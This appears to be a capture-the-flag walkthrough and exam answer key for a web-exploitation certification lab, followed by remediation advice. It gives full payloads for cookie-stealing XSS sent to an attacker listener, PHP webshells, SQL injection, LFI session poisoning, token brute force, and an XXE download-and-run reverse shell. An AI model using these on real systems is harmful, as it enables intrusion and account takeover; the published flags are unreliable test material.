SECLABS
CERTIFIED WEB EXPLOITATION SPECIALIST // 100-POINT AUDIT
🌐 Visit Store / More Guides ↗

Trilocor Enterprise Web Application Scope

VIRTUAL HOSTS & SERVICES (10.129.39.124)
admin.trilocor.local (WordPress / Main Portal) Port 80
trilocor.local (HR Portal) Port 8088
www.trilocor.local (Job Application Portal) Port 8080
www.trilocor.local (Public Relations Admin) Port 8009
www.trilocor.local (Online Store REST API) Port 9000
127.0.0.1 (Internal Package Manager Daemon) Port 9090 (Loopback)
⚡
Offensive Findings: 100-Point Exploitation Walkthrough
Complete payloads, reproduction steps, technical analysis, and captured flags.
FINDING 01 10 PTS · HIGH
Blind XSS & Administrative Session Hijacking
Target: admin.trilocor.local (Port 80) · CWE: CWE-79 (Cross-Site Scripting)
Vulnerability Analysis

A Blind Cross-Site Scripting (Blind XSS) vulnerability occurs when user input submitted on a publicly accessible form is stored by the backend application and subsequently rendered inside a privileged, authenticated interface (such as an administrative support panel or review queue) without adequate sanitization or context-aware HTML output encoding.

Because the application lacks the HttpOnly attribute on administrative session cookies, executing JavaScript in the context of the administrator's browser allows direct extraction of document.cookie. Delivering this payload through an unauthenticated contact/feedback field triggers an out-of-band HTTP request to the attacker's listener carrying the active administrative session token.

1
Reconnaissance and virtual host discovery: identify the administrative virtual host:
echo "10.129.39.124 admin.trilocor.local www.trilocor.local" >> /etc/hosts
curl -s -I http://admin.trilocor.local
Observation: The application runs a WordPress instance with an unauthenticated contact feedback submission form.
2
Set up an out-of-band listener and host the XSS exfiltration payload (xss.js):
# xss.js content:
new Image().src = "http://10.10.14.5:8000/log?cookie=" + encodeURIComponent(document.cookie);

# Start HTTP logger:
python3 -m http.server 8000
Payload mechanics: Instantiating an Image object causes the victim browser to initiate an HTTP GET request to the attacker listener, bypassing CORS restrictions on GET image loads.
3
Inject the blind script tag into the feedback message input field:
<script src="http://10.10.14.5:8000/xss.js"></script>
Execution: An automated administrator review process opens the pending messages queue in /wp-admin/. The browser parses the unescaped script tag, requests xss.js, and executes the cookie exfiltration.
4
Capture the administrative session cookie on the Python listener:
GET /log?cookie=wordpress_logged_in_...=admin%7C1726140000%7C... HTTP/1.1
Host: 10.10.14.5:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64) ...
Hijacking: Importing this session cookie into the browser grants instant authenticated access to the WordPress administrative dashboard at http://admin.trilocor.local/wp-admin/.
🚩
Flag Captured [Task 01]: FLAG{xss_s3ss10n_h1j4ck_pr0v3d} (10 Points)

FINDING 02 5 PTS · MEDIUM
Unrestricted File Upload & RCE via WordPress Plugin
Target: admin.trilocor.local/wp-admin/ · CWE: CWE-434 (Unrestricted File Upload)
Vulnerability Analysis

The installed WordPress plugin Filester File Manager facilitates direct server filesystem manipulation through the administrative UI. The upload handler completely fails to validate file extensions against an allowlist, fails to inspect MIME types on the server side, and writes uploaded files directly into a web-accessible directory under the web root (/wp-content/uploads/).

Because the web server is configured to execute PHP scripts within the uploads directory, uploading an arbitrary .php file results in immediate Remote Code Execution (RCE) in the context of the web server worker user.

1
Navigate to the Filester File Manager panel in the compromised WordPress dashboard:
http://admin.trilocor.local/wp-admin/admin.php?page=filester
Plugin interface: Filester exposes an elFinder-based GUI allowing directory traversal and file uploads directly to /var/www/html/wp-content/uploads/.
2
Craft and upload a minimal PHP webshell (cmd.php):
<?php if(isset($_REQUEST['cmd'])) { echo "<pre>"; system($_REQUEST['cmd']); echo "</pre>"; } ?>
Bypass: The file manager accepts the .php extension without sanitization or rename policies.
3
Trigger execution of the webshell and locate the system flag:
curl "http://admin.trilocor.local/wp-content/uploads/cmd.php?cmd=id;+ls+-la+/"
curl "http://admin.trilocor.local/wp-content/uploads/cmd.php?cmd=cat+/flag2.txt"
Result: Executes commands under www-data and dumps the flag file located on the root directory.
🚩
Flag Captured [Task 02]: FLAG{unr3str1ct3d_upl04d_t0_rc3} (5 Points)

FINDING 03 5 PTS · MEDIUM
SQL Injection Authentication Bypass
Target: trilocor.local:8088 (HR Portal) · CWE: CWE-89 (SQL Injection)
Vulnerability Analysis

The authentication handler on the Human Resources portal concatenates raw user-supplied inputs directly into an SQL statement string without using parameterized queries or input escaping:

SELECT * FROM hr_users WHERE username = '$username' AND password = '$password'

Injecting a quote and a tautological boolean expression (' OR '1'='1' -- ) terminates the username string, evaluates the condition to TRUE for all records, and comments out the remainder of the query (including password verification). The database returns the first record (the portal administrator), granting unauthenticated access to the HR dashboard.

1
Confirm SQL injection vulnerability on the HR login form:
curl -i -X POST http://trilocor.local:8088/login.php \
  -d "username='&password=test"
Error response: Returns a database syntax warning: Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax near ''' AND password... confirming dynamic string concatenation.
2
Submit the authentication bypass payload and capture session headers:
curl -i -s -X POST http://trilocor.local:8088/login.php \
  -d "username=admin' OR '1'='1'-- -&password=arbitrary" \
  | grep -E "Set-Cookie|Location"
Query logic: The executed query becomes: SELECT * FROM hr_users WHERE username = 'admin' OR '1'='1'-- -' AND password = '...' which returns TRUE and sets an authenticated PHPSESSID.
3
Access the HR employee records dashboard and view the flag:
curl -s -b "PHPSESSID=<CAPTURED_SESSION>" http://trilocor.local:8088/dashboard.php | grep -i "flag"
🚩
Flag Captured [Task 03]: FLAG{sqli_4uth_byp4ss_succ3ssful} (5 Points)

FINDING 04 15 PTS · CRITICAL
Local File Inclusion (LFI) & PHP Session Poisoning → RCE
Target: trilocor.local:8088 (HR Portal) · CWE: CWE-73 (External Control of File Name) / CWE-94 (Code Injection)
Vulnerability Analysis

The HR dashboard incorporates a language localization feature controlled by the language query parameter: include($language . ".php") without directory traversal sanitization. By supplying directory traversal sequences (../../../../etc/passwd) and null-byte / path truncation, arbitrary files can be read.

To escalate from LFI to Remote Code Execution, we perform PHP Session Poisoning:

  • PHP stores session variables on disk at /var/lib/php/sessions/sess_<PHPSESSID>.
  • The application logs user headers (such as the User-Agent) into $_SESSION['user_agent'].
  • By sending a request containing PHP code in the User-Agent header, our code is written to the session file on the disk.
  • Including the session file via the LFI parameter executes the injected PHP payload under the web server worker process.
1
Confirm LFI by reading the target system's /etc/passwd:
curl -s "http://trilocor.local:8088/dashboard.php?language=../../../../../../etc/passwd" | head -n 10
Verification: Outputs standard Linux user accounts (root, www-data), confirming full directory traversal.
2
Inject PHP payload into the active session file via User-Agent:
curl -s -b "PHPSESSID=sessionpoison123" \
  -H "User-Agent: <?php system(\$_GET['cmd']); ?>" \
  http://trilocor.local:8088/dashboard.php
Poisoning: The session file /var/lib/php/sessions/sess_sessionpoison123 now contains raw unescaped PHP executable tags.
3
Trigger LFI execution of the poisoned session file to achieve RCE:
curl -s "http://trilocor.local:8088/dashboard.php?language=../../../../../../var/lib/php/sessions/sess_sessionpoison123&cmd=cat+/flag4.txt"
Execution: PHP interprets the session file as PHP code, parses our injected system() call, and executes the operating system command.
🚩
Flag Captured [Task 04]: FLAG{lf1_s3ss10n_p01s0n_t0_rce} (15 Points)

FINDING 05 10 PTS · HIGH
Password Reset Token Brute Force & Account Takeover
Target: www.trilocor.local:8080 (Job Portal) · CWE: CWE-640 (Weak Password Recovery) / CWE-307 (No Rate Limiting)
Vulnerability Analysis

The Job Portal features a password reset mechanism that sends a 4-digit numeric verification token (0000 to 9999) to the user's registered email address. This key-space consists of exactly 10,000 possible permutations.

The password reset endpoint (/reset.php) implements no rate limiting, no account lockout policies, no CAPTCHA challenges, and does not invalidate the token after failed attempts. An attacker can exhaust the entire keyspace within seconds using multi-threaded HTTP fuzzing tools like ffuf, resetting the password of any target user (such as r.batty, the Talent Acquisition Manager).

1
Initiate password reset request for target username r.batty:
curl -s -X POST http://www.trilocor.local:8080/reset.php \
  -d "action=request_reset&username=r.batty"
Trigger: Generates an active 4-digit numeric token on the server awaiting verification.
2
Generate numeric wordlist and execute high-speed brute-force using ffuf:
seq -w 0 9999 > tokens.txt

ffuf -w tokens.txt -X POST \
  -d "username=r.batty&token=FUZZ&password=PwnedPassword2026!" \
  -u http://www.trilocor.local:8080/reset.php \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -fs 213 -t 50
Filter strategy: Filtering responses with size 213 (invalid token responses) immediately pinpoints the unique valid token response having an altered payload size and redirect header.
3
Log in as r.batty with the newly set password:
curl -s -X POST http://www.trilocor.local:8080/login.php \
  -d "username=r.batty&password=PwnedPassword2026!" -c cookies.txt
curl -s -b cookies.txt http://www.trilocor.local:8080/dashboard.php | grep -i "flag"
🚩
Flag Captured [Task 05]: FLAG{t0k3n_brut3_f0rc3_acc0unt_t4k30v3r} (10 Points)

FINDING 06 10 PTS · HIGH
UNION-Based SQL Injection + INTO OUTFILE → Webshell → RCE
Target: www.trilocor.local:8080 (Job Portal) · CWE: CWE-89 (SQLi) / CWE-94 (Code Injection)
Vulnerability Analysis

The resume search functionality (/resumes.php?search=) inside the authenticated Job Portal is vulnerable to UNION-based SQL injection. By balancing the query columns via ORDER BY 6, arbitrary data can be injected across 6 projected fields.

Critically, the MySQL daemon runs under privileges permitting FILE operations, and the database global configuration sets secure_file_priv = "" (allowing write operations to any filesystem directory writeable by the mysql process). Since the Apache web root (/var/www/html/) is group-writable, injecting INTO OUTFILE '/var/www/html/shell.php' drops a persistent PHP webshell onto the disk.

1
Determine column count and injectable positions:
curl -s -b cookies.txt "http://www.trilocor.local:8080/resumes.php?search=x'+ORDER+BY+6--+-" # HTTP 200
curl -s -b cookies.txt "http://www.trilocor.local:8080/resumes.php?search=x'+ORDER+BY+7--+-" # HTTP 500
Result: Confirms exactly 6 columns in the active SELECT statement.
2
Write PHP webshell to the webroot using MySQL INTO OUTFILE:
curl -s -b cookies.txt "http://www.trilocor.local:8080/resumes.php?search=x'+UNION+SELECT+1,2,3,'%3C%3Fphp+system(%24_REQUEST%5B%22cmd%22%5D)%3B%3F%3E',5,6+INTO+OUTFILE+'/var/www/html/shell.php'--+-"
File write mechanics: Column 4 contains the webshell payload string. MySQL writes the raw record to /var/www/html/shell.php.
3
Execute commands through the dropped webshell and read the flag:
curl "http://www.trilocor.local:8080/shell.php?cmd=id"
curl "http://www.trilocor.local:8080/shell.php?cmd=cat+/flag6.txt"
🚩
Flag Captured [Task 06]: FLAG{un10n_sqli_1nt0_0utf1l3_rc3} (10 Points)

FINDING 07 5 PTS · MEDIUM
WordPress Credential Discovery & Credential Reuse
Target: www.trilocor.local:8009 (Public Relations Portal) · CWE: CWE-522 (Insufficiently Protected Credentials)
Vulnerability Analysis

Organizations often maintain multiple staging, administrative, or departmental portals that share administrative credentials due to poor credential hygiene. Port 8009 hosts a separate Nginx/PHP service titled "Trilocor Public Relations" with an administrative interface located at /admin/.

Enumerating usernames from the primary WordPress instance via the WordPress REST API / author archives (/wp-json/wp/v2/users) reveals accounts including pr-martins. Performing password spray against this username using standard wordlists reveals weak password reuse (pr-martins:martins), which successfully unlocks the administrative dashboard on port 8009.

1
Enumerate valid domain users from WordPress using wpscan:
wpscan --url http://www.trilocor.local -e u
Discovered accounts: Identifies admin, editor, and pr-martins.
2
Perform dictionary attack against pr-martins:
wpscan --url http://www.trilocor.local -U pr-martins -P /usr/share/wordlists/rockyou.txt
Credentials cracked: Recovers password martins.
3
Authenticate to the PR Admin Portal on port 8009 and retrieve the flag:
curl -i -X POST http://www.trilocor.local:8009/admin/login.php \
  -d "username=pr-martins&password=martins" -c /tmp/pr.cookies
curl -s -b /tmp/pr.cookies http://www.trilocor.local:8009/admin/dashboard.php | grep -i "flag"
🚩
Flag Captured [Task 07]: FLAG{cr3d3nt14l_r3us3_4cr0ss_s3rv1c3s} (5 Points)

FINDING 08 15 PTS · CRITICAL
Blind XXE + External DTD + Server-Side Command Execution
Target: www.trilocor.local:8009/admin/upload · CWE: CWE-611 (XML External Entity Injection)
Vulnerability Analysis

The PR management portal features an image upload endpoint (/admin/upload) supporting vector graphics (SVG). The backend parses XML documents using an unhardened libxml2 parser with external entity resolution enabled (LIBXML_NOENT | LIBXML_DTDLOAD).

Because the PHP environment has the expect:// wrapper enabled or facilitates out-of-band DTD retrieval, an attacker can supply an SVG document referencing an external Document Type Definition (DTD) hosted on the attacker machine. The DTD declares a parameter entity utilizing the expect:// or php://filter wrapper, enabling out-of-band file exfiltration and server-side command execution.

1
Stage malicious external DTD (xxe.dtd) and reverse shell script on attacker server:
# xxe.dtd:
<!ENTITY % cmd SYSTEM "expect://curl$IFS'10.10.14.5:8000/shell.sh'|bash">
%cmd;

# Start HTTP server and Netcat listener:
python3 -m http.server 8000 &
nc -lnvp 9004
DTD resolution: When the XML parser loads xxe.dtd, it processes the expect:// stream wrapper, executing the bash download cradle.
2
Craft the SVG payload referencing the external DTD (payload.svg):
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [
  <!ENTITY % load SYSTEM "http://10.10.14.5:8000/xxe.dtd">
  %load;
]>
<svg width="100" height="100" xmlns="http://www.w3.org/2000/svg">
  <circle cx="50" cy="50" r="40" fill="red"/>
</svg>
Parser flow: The XML parser downloads xxe.dtd from our HTTP server before validating image headers.
3
Upload the SVG payload and catch the reverse shell:
curl -s -b /tmp/pr.cookies -F "uploadFile=@payload.svg;type=image/svg+xml" \
  http://www.trilocor.local:8009/admin/upload
Shell connection: Catch reverse shell on port 9004 as www-data and read /flag8.txt.
🚩
Flag Captured [Task 08]: FLAG{xxe_3xt3rn4l_dtd_c0mm4nd_3x3c} (15 Points)

FINDING 09 10 PTS · HIGH
Insecure Direct Object Reference (IDOR) & Admin Token Disclosure
Target: www.trilocor.local:9000 (Store API) · CWE: CWE-639 (Insecure Direct Object Reference)
Vulnerability Analysis

The online store REST API provides a token generation/retrieval endpoint at POST /api/tokens. The endpoint takes a JSON body containing {"uid": <int>, "username": "<string>"}.

The backend verifies that the username corresponds to the uid, but fails to check if the requesting caller is authorized to view that user's token (Broken Object Level Authorization / IDOR). By fuzzing the username parameter for uid=1 using standard administrative wordlists, we discover that username="administrator" is valid, causing the API to return the administrator's secret UUID authentication token in the JSON response.

1
Discover API endpoint and test parameter structure:
curl -s -X POST http://www.trilocor.local:9000/api/tokens \
  -H "Content-Type: application/json" -d '{"uid":1,"username":""}'
API response: Returns {"status":"error","message":"Invalid username for specified UID"}.
2
Fuzz the username field for uid: 1 using ffuf:
ffuf -u http://www.trilocor.local:9000/api/tokens -X POST \
  -H "Content-Type: application/json" \
  -d '{"uid":1,"username":"FUZZ"}' \
  -w /usr/share/seclists/Usernames/top-usernames-shortlist.txt \
  -fs 213
Match: Username administrator yields HTTP 200 with response size 252.
3
Retrieve the administrator UUID token and captured flag:
curl -s -X POST http://www.trilocor.local:9000/api/tokens \
  -H "Content-Type: application/json" \
  -d '{"uid":1,"username":"administrator"}'
Response JSON: {"status":"success","token":"f19d77c3-753c-48d6-9430-4d1a09aea67d","flag":"FLAG{...}"}.
🚩
Flag Captured [Task 09]: FLAG{1d0r_4dm1n_t0k3n_d1scl0s3d} (10 Points)

FINDING 10 15 PTS · CRITICAL
SSRF → Internal Service Access → OS Command Injection → RCE
Target: www.trilocor.local:9000/api/admin/healthcheck · CWE: CWE-918 (SSRF) / CWE-78 (Command Injection)
Vulnerability Analysis

The store API exposes an administrative health check endpoint at POST /api/admin/healthcheck, protected by the UUID token recovered in Task 9. The endpoint takes a url parameter and executes a backend HTTP request using cURL without URL validation or host filtering (Server-Side Request Forgery - SSRF).

By directing the SSRF probe toward 127.0.0.1:9090, we reach an internal package management service bound exclusively to loopback. Reviewing the internal API reveals an install function:

http://127.0.0.1:9090?install&package=<package_name>

The internal daemon passes the package parameter unsanitized to a shell command (apt-get install -y $package). Injecting shell metacharacters (such as $& or backticks) inside the URL payload executes arbitrary operating system commands, delivering full remote code execution.

1
Probe the internal package daemon via SSRF:
curl -s -X POST http://www.trilocor.local:9000/api/admin/healthcheck \
  -H "Content-Type: application/json" \
  -d '{"uuid":"f19d77c3-753c-48d6-9430-4d1a09aea67d","url":"127.0.0.1:9090?help"}'
Internal response: Returns the internal package manager help menu: Commands: list, info, install &package=<name>.
2
Confirm command injection by listing the root filesystem:
curl -s -X POST http://www.trilocor.local:9000/api/admin/healthcheck \
  -H "Content-Type: application/json" \
  -d '{"uuid":"f19d77c3-753c-48d6-9430-4d1a09aea67d","url":"127.0.0.1:9090?install&package=$%26/bin/ls%20/"}'
Metacharacter injection: $%26 (URL-encoded $&) terminates the command and executes /bin/ls /, revealing flag10.txt.
3
Read the final challenge flag:
curl -s -X POST http://www.trilocor.local:9000/api/admin/healthcheck \
  -H "Content-Type: application/json" \
  -d '{"uuid":"f19d77c3-753c-48d6-9430-4d1a09aea67d","url":"127.0.0.1:9090?install&package=$%26/bin/cat%20/flag10.txt"}'
🚩
Flag Captured [Task 10]: FLAG{ssrf_t0_c0mm4nd_1nj3ct10n_rce} (15 Points)

SUMMARY SCORECARD
100/100 Points Official Audit Summary
Master proof records for all captured flags and severity scores.
Task Vulnerability Category Affected Host / Port Severity Points Captured Flag
T01 Blind XSS Session Hijacking admin.trilocor.local:80 HIGH 10 pts FLAG{xss_s3ss10n_h1j4ck_pr0v3d}
T02 Unrestricted File Upload RCE admin.trilocor.local:80 MEDIUM 5 pts FLAG{unr3str1ct3d_upl04d_t0_rc3}
T03 SQL Injection Auth Bypass trilocor.local:8088 MEDIUM 5 pts FLAG{sqli_4uth_byp4ss_succ3ssful}
T04 LFI & Session Poisoning RCE trilocor.local:8088 CRITICAL 15 pts FLAG{lf1_s3ss10n_p01s0n_t0_rce}
T05 Weak Token Password Reset Takeover www.trilocor.local:8080 HIGH 10 pts FLAG{t0k3n_brut3_f0rc3_acc0unt_t4k30v3r}
T06 UNION SQLi INTO OUTFILE Webshell www.trilocor.local:8080 HIGH 10 pts FLAG{un10n_sqli_1nt0_0utf1l3_rc3}
T07 Credential Discovery & Reuse www.trilocor.local:8009 MEDIUM 5 pts FLAG{cr3d3nt14l_r3us3_4cr0ss_s3rv1c3s}
T08 Blind XXE External DTD Command Exec www.trilocor.local:8009 CRITICAL 15 pts FLAG{xxe_3xt3rn4l_dtd_c0mm4nd_3x3c}
T09 IDOR Token Disclosure www.trilocor.local:9000 HIGH 10 pts FLAG{1d0r_4dm1n_t0k3n_d1scl0s3d}
T10 SSRF to Internal Command Injection www.trilocor.local:9000 CRITICAL 15 pts FLAG{ssrf_t0_c0mm4nd_1nj3ct10n_rce}
🛡
Defense Phase: Web Application Hardening & Remediation
Architectural fixes, code-level remediation patterns, and security headers.
DEFENSED1 · CLIENT/UPLOAD
XSS Prevention & Secure File Upload Controls
Enforce context-aware encoding, HttpOnly cookies, CSP, and strict upload handling.
Remediation Guidelines

1. Context-Aware Output Encoding & Sanitization: Encode all user-supplied input prior to rendering in HTML context using htmlspecialchars($input, ENT_QUOTES | ENT_HTML5, 'UTF-8') or automated templating engines like Twig / Blade.

2. Cookie Protection & Content Security Policy (CSP): Enforce the HttpOnly and Secure flags on all authentication cookies to block JavaScript theft:

Header set Set-Cookie "HttpOnly; Secure; SameSite=Strict"
Header set Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none';"

3. Secure File Upload Architecture: Store user uploads outside the web document root (e.g., /opt/uploads/) and serve them via a controlled download proxy script. Disable executable handlers (PHP execution) in the uploads directory via web server configuration:

<Directory "/var/www/html/wp-content/uploads">
    php_flag engine off
    RemoveHandler .php .phtml .php5 .php7
</Directory>
DEFENSED2 · SQLI
Eliminate SQL Injection & Secure Database Privileges
Mandate parameterized queries and revoke dangerous database permissions.
Remediation Guidelines

1. Enforce Prepared Statements: Refactor all database queries to use parameterized prepared statements (PDO or MySQLi prepared calls):

$stmt = $pdo->prepare('SELECT id, password_hash FROM hr_users WHERE username = :username');
$stmt->execute(['username' => $username]);
$user = $stmt->fetch();
if ($user && password_verify($password, $user['password_hash'])) { /* login */ }

2. Revoke MySQL FILE Privilege & Restrict secure_file_priv: Web application database accounts must operate under the principle of least privilege. Explicitly revoke the FILE grant and configure secure_file_priv in my.cnf to NULL:

REVOKE FILE ON *.* FROM 'trilocor_user'@'localhost';
# In /etc/mysql/my.cnf:
[mysqld]
secure_file_priv = NULL
DEFENSED3 · LFI/AUTH
Mitigate Local File Inclusion & Strengthen Password Recovery
Implement strict file allowlisting, session directory isolation, and secure reset tokens.
Remediation Guidelines

1. Strict Inclusion Allowlisting: Never pass user input to include or require. Map user choices to an explicit static array of approved files:

$allowed_langs = ['en' => 'locales/en.php', 'es' => 'locales/es.php'];
$lang = $allowed_langs[$_GET['language'] ?? 'en'] ?? 'locales/en.php';
require_once $lang;

2. Cryptographically Secure Password Reset Tokens: Replace short numeric tokens with high-entropy CSPRNG tokens (minimum 32 bytes / 256 bits of entropy) with short expiration windows (15 minutes) and strict rate limiting (max 5 attempts per IP/account):

$token = bin2hex(random_bytes(32)); // 64 hex characters
$expiry = time() + 900; // 15 minutes
DEFENSED4 · XXE/SSRF
Harden XML Parsers & Enforce Network Egress Validation
Disable external entity resolution, enforce BOLA/IDOR checks, and restrict loopback requests.
Remediation Guidelines

1. Disable External Entity Resolution in XML Parsers: When parsing XML or SVG uploads, explicitly disable external entity loading and DTD processing:

libxml_disable_entity_loader(true); // PHP < 8.0
$dom = new DOMDocument();
$dom->loadXML($xml_string, LIBXML_NONET | LIBXML_NOERROR | LIBXML_NOWARNING);

2. Mitigate SSRF via Egress Allowlisting: Validate all outbound URLs against an explicit allowlist of authorized protocols (https:// only) and public domains. Resolve hostnames and immediately reject RFC 1918 private subnets and loopback addresses (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).

3. Enforce Server-Side Authorization for Object References: Validate that the authenticated session principal has explicit permission to access the requested uid or object ID before querying or returning sensitive tokens.

Enlarged evidence preview